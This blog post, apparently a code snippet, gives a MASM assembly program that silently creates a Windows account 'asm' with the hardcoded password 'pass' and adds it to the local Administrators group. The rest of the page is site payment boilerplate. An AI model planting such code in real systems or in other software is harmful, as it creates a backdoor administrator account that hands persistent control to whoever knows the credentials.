添加用户的汇编代码

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;code by asm http://www.asm32.cn/
;2007-9-29
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .386
    .model flat, stdcall
    option casemap :none   ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;    Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    include        windows.inc
    include        user32.inc
    include        kernel32.inc
   include       Netapi32.inc
  
    includelib    user32.lib
    includelib    kernel32.lib
    includelib    Netapi32.lib

.data?
oUserInfo USER_INFO_1<?>
oUser LOCALGROUP_MEMBERS_INFO_3 <?>
dwErr DWORD ?
.data
szUser dw "a","s","m",0
szPass dw "p","a","s","s",0
szAdministrators dw "A","d","m","i","n","i","s","t","r","a","t","o","r","s",0
.code
start:
      invoke RtlZeroMemory,addr oUserInfo,sizeof oUserInfo
      push offset szUser
      pop oUserInfo.usri1_name
      push offset szPass
      pop oUserInfo.usri1_password
      mov oUserInfo.usri1_priv,USER_PRIV_USER
      mov oUserInfo.usri1_flags,UF_NORMAL_ACCOUNT
      invoke NetUserAdd,NULL, 1,addr oUserInfo,addr dwErr
      push oUserInfo.usri1_name
      pop oUser.lgrmi3_domainandname
      invoke NetLocalGroupAddMembers,NULL,addr szAdministrators,3,addr oUser,1
      invoke ExitProcess,0
      end start
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值